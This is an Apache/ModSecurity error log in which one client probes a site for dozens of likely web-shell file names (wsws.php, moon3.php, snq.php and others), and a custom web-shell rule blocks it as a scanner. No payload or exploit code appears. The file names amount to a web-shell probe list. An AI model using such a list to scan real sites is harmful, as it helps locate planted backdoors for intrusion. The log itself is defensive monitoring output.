[Mon Mar 02 02:15:42.904291 2026] [:error] [pid 53181:tid 53528] [client 20.220.232.240:43928] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaSCTor_0T1SazTrJOBOGgAAAQ0"]
[Mon Mar 02 02:15:43.449647 2026] [:error] [pid 53181:tid 53537] [client 20.220.232.240:43942] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaSCT4r_0T1SazTrJOBOHgAAARY"]
[Mon Mar 02 02:15:44.083275 2026] [:error] [pid 26940:tid 26949] [client 20.220.232.240:43870] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaSCUBrUg-j5GLDtRFnaVwAAAEU"]
[Mon Mar 02 02:15:44.658819 2026] [:error] [pid 26940:tid 26951] [client 20.220.232.240:44015] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaSCUBrUg-j5GLDtRFnaYwAAAEc"]
[Mon Mar 02 02:15:45.150140 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:43909] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaSCUXbCvYsvu6kKhM2_yAAAAAk"]
[Mon Mar 02 02:15:45.791222 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43978] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaSCURrUg-j5GLDtRFnaagAAAFg"]
[Mon Mar 02 02:15:46.548889 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43975] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaSCUhrUg-j5GLDtRFnacQAAAFc"]
[Mon Mar 02 02:15:47.048565 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43962] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaSCUxrUg-j5GLDtRFnadgAAAE0"]
[Mon Mar 02 02:15:47.488241 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:43955] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaSCUxrUg-j5GLDtRFnaeQAAAEM"]
[Mon Mar 02 02:15:48.195943 2026] [:error] [pid 26940:tid 26950] [client 20.220.232.240:43936] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaSCVBrUg-j5GLDtRFnafAAAAEY"]
[Mon Mar 02 02:15:48.791923 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43985] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaSCVBrUg-j5GLDtRFnafgAAAEA"]
[Mon Mar 02 02:15:49.415063 2026] [:error] [pid 53585:tid 53605] [client 20.220.232.240:43969] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaSCVXbCvYsvu6kKhM2_7wAAABE"]
[Mon Mar 02 02:15:49.907493 2026] [:error] [pid 53585:tid 53588] [client 20.220.232.240:43913] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaSCVXbCvYsvu6kKhM2_-QAAAAA"]
[Mon Mar 02 02:15:50.513406 2026] [:error] [pid 53585:tid 53589] [client 20.220.232.240:43991] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaSCVnbCvYsvu6kKhM2__QAAAAE"]
[Mon Mar 02 02:15:51.101479 2026] [:error] [pid 53585:tid 53610] [client 20.220.232.240:44010] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaSCV3bCvYsvu6kKhM3AAQAAABY"]
[Mon Mar 02 02:15:51.717126 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43960] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSCVxrUg-j5GLDtRFnakAAAAFc"]
[Mon Mar 02 02:15:52.194258 2026] [:error] [pid 26940:tid 26950] [client 20.220.232.240:43865] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSCWBrUg-j5GLDtRFnalgAAAEY"]
[Mon Mar 02 02:15:52.743703 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:43845] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSCWBrUg-j5GLDtRFnaoQAAAEI"]
[Mon Mar 02 02:15:53.316921 2026] [:error] [pid 53180:tid 53445] [client 20.220.232.240:43848] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSCWTPPJpDOBvYnaa1lpQAAAYE"]
[Mon Mar 02 02:15:53.900764 2026] [:error] [pid 26940:tid 26955] [client 20.220.232.240:44002] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaSCWRrUg-j5GLDtRFnaqQAAAEs"]
[Mon Mar 02 02:15:54.357829 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:44025] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaSCWnbCvYsvu6kKhM3ADQAAAAM"]
[Mon Mar 02 02:15:54.801081 2026] [:error] [pid 53181:tid 53522] [client 20.220.232.240:43935] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaSCWor_0T1SazTrJOBONAAAAQc"]
[Mon Mar 02 02:15:55.321562 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:44004] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaSCWxrUg-j5GLDtRFnatQAAAEA"]
[Mon Mar 02 02:15:55.949457 2026] [:error] [pid 53182:tid 53560] [client 20.220.232.240:43938] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSCW_v073cA6eM1YCTlywAAANA"]
[Mon Mar 02 02:15:56.629241 2026] [:error] [pid 53182:tid 53553] [client 20.220.232.240:43930] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSCXPv073cA6eM1YCTlzQAAAMo"]
[Mon Mar 02 02:15:57.235498 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43927] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSCXRrUg-j5GLDtRFnayQAAAEw"]
[Mon Mar 02 02:15:57.759902 2026] [:error] [pid 53585:tid 53600] [client 20.220.232.240:44027] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaSCXXbCvYsvu6kKhM3AGgAAAAw"]
[Mon Mar 02 02:15:58.495710 2026] [:error] [pid 26940:tid 26961] [client 20.220.232.240:44011] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaSCXhrUg-j5GLDtRFna0gAAAFE"]
[Mon Mar 02 02:15:59.274890 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43974] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaSCXxrUg-j5GLDtRFna2QAAAFQ"]
[Mon Mar 02 02:15:59.902858 2026] [:error] [pid 53182:tid 53561] [client 20.220.232.240:43929] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaSCX_v073cA6eM1YCTl3AAAANE"]
[Mon Mar 02 02:16:00.910550 2026] [:error] [pid 53182:tid 53543] [client 20.220.232.240:43922] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaSCYPv073cA6eM1YCTl4QAAAMA"]
[Mon Mar 02 02:16:01.698682 2026] [:error] [pid 53182:tid 53550] [client 20.220.232.240:43966] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaSCYfv073cA6eM1YCTl5gAAAMc"]
[Mon Mar 02 02:16:02.380682 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:44003] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaSCYhrUg-j5GLDtRFna7AAAAEg"]
[Mon Mar 02 02:16:03.195425 2026] [:error] [pid 26940:tid 26953] [client 20.220.232.240:43981] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaSCYxrUg-j5GLDtRFna9QAAAEk"]
[Mon Mar 02 02:16:03.883052 2026] [:error] [pid 53585:tid 53594] [client 20.220.232.240:43874] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaSCY3bCvYsvu6kKhM3AQAAAAAY"]
[Mon Mar 02 02:16:04.474501 2026] [:error] [pid 53182:tid 53559] [client 20.220.232.240:43940] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaSCZPv073cA6eM1YCTl-QAAAM8"]
[Mon Mar 02 02:16:05.020292 2026] [:error] [pid 53180:tid 53448] [client 20.220.232.240:43953] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaSCZTPPJpDOBvYnaa1lyAAAAYQ"]
[Mon Mar 02 02:16:06.029244 2026] [proxy_fcgi:error] [pid 53585:tid 53599] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:06.268736 2026] [proxy_fcgi:error] [pid 53585:tid 53607] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:06.489014 2026] [proxy_fcgi:error] [pid 53585:tid 53598] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:06.846675 2026] [proxy_fcgi:error] [pid 53585:tid 53592] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:07.291971 2026] [proxy_fcgi:error] [pid 53585:tid 53609] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:07.502568 2026] [proxy_fcgi:error] [pid 53585:tid 53590] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:07.749700 2026] [proxy_fcgi:error] [pid 53585:tid 53601] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:07.964522 2026] [proxy_fcgi:error] [pid 53585:tid 53600] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:08.173056 2026] [proxy_fcgi:error] [pid 53585:tid 53606] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:08.383271 2026] [proxy_fcgi:error] [pid 53585:tid 53589] [client 20.220.232.240:43943] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:16:08.588034 2026] [:error] [pid 53585:tid 53598] [client 20.220.232.240:43943] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon3.php"] [unique_id "aaSCaHbCvYsvu6kKhM3AYAAAAAo"]
[Mon Mar 02 02:16:09.136223 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43992] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon3.php"] [unique_id "aaSCaRrUg-j5GLDtRFnbEAAAAFg"]
[Mon Mar 02 02:16:09.691367 2026] [:error] [pid 53182:tid 53566] [client 20.220.232.240:43948] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon3.php"] [unique_id "aaSCafv073cA6eM1YCTmIgAAANY"]
[Mon Mar 02 02:16:10.189147 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43925] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon3.php"] [unique_id "aaSCahrUg-j5GLDtRFnbGwAAAFQ"]
[Mon Mar 02 02:16:10.674364 2026] [:error] [pid 53585:tid 53590] [client 20.220.232.240:43896] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSCanbCvYsvu6kKhM3AbQAAAAI"]
[Mon Mar 02 02:16:11.217941 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43970] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSCaxrUg-j5GLDtRFnbJwAAAFQ"]
[Mon Mar 02 02:16:11.891804 2026] [:error] [pid 53585:tid 53601] [client 20.220.232.240:43996] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSCa3bCvYsvu6kKhM3AcAAAAA0"]
[Mon Mar 02 02:16:13.839600 2026] [:error] [pid 53585:tid 53594] [client 20.220.232.240:43944] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thui.php"] [unique_id "aaSCbXbCvYsvu6kKhM3AeAAAAAY"]
[Mon Mar 02 02:16:14.656621 2026] [:error] [pid 53585:tid 53596] [client 20.220.232.240:43844] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaSCbnbCvYsvu6kKhM3AfQAAAAg"]
[Mon Mar 02 02:16:15.779489 2026] [:error] [pid 53182:tid 53557] [client 20.220.232.240:43856] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaSCb_v073cA6eM1YCTmTAAAAM0"]
[Mon Mar 02 02:16:16.736572 2026] [:error] [pid 53181:tid 53527] [client 20.220.232.240:43965] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaSCcIr_0T1SazTrJOBOZAAAAQw"]
[Mon Mar 02 02:16:17.449862 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:44026] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaSCcRrUg-j5GLDtRFnbSgAAAEA"]
[Mon Mar 02 02:16:18.243048 2026] [:error] [pid 53585:tid 53594] [client 20.220.232.240:43934] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snq.php"] [unique_id "aaSCcnbCvYsvu6kKhM3AiQAAAAY"]
[Mon Mar 02 02:16:19.155094 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:43854] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snq.php"] [unique_id "aaSCcxrUg-j5GLDtRFnbXAAAAEI"]
[Mon Mar 02 02:16:19.687818 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43988] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snq.php"] [unique_id "aaSCcxrUg-j5GLDtRFnbYQAAAE4"]
[Mon Mar 02 02:16:20.226264 2026] [:error] [pid 53180:tid 53467] [client 20.220.232.240:43858] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snq.php"] [unique_id "aaSCdDPPJpDOBvYnaa1l3AAAAZc"]
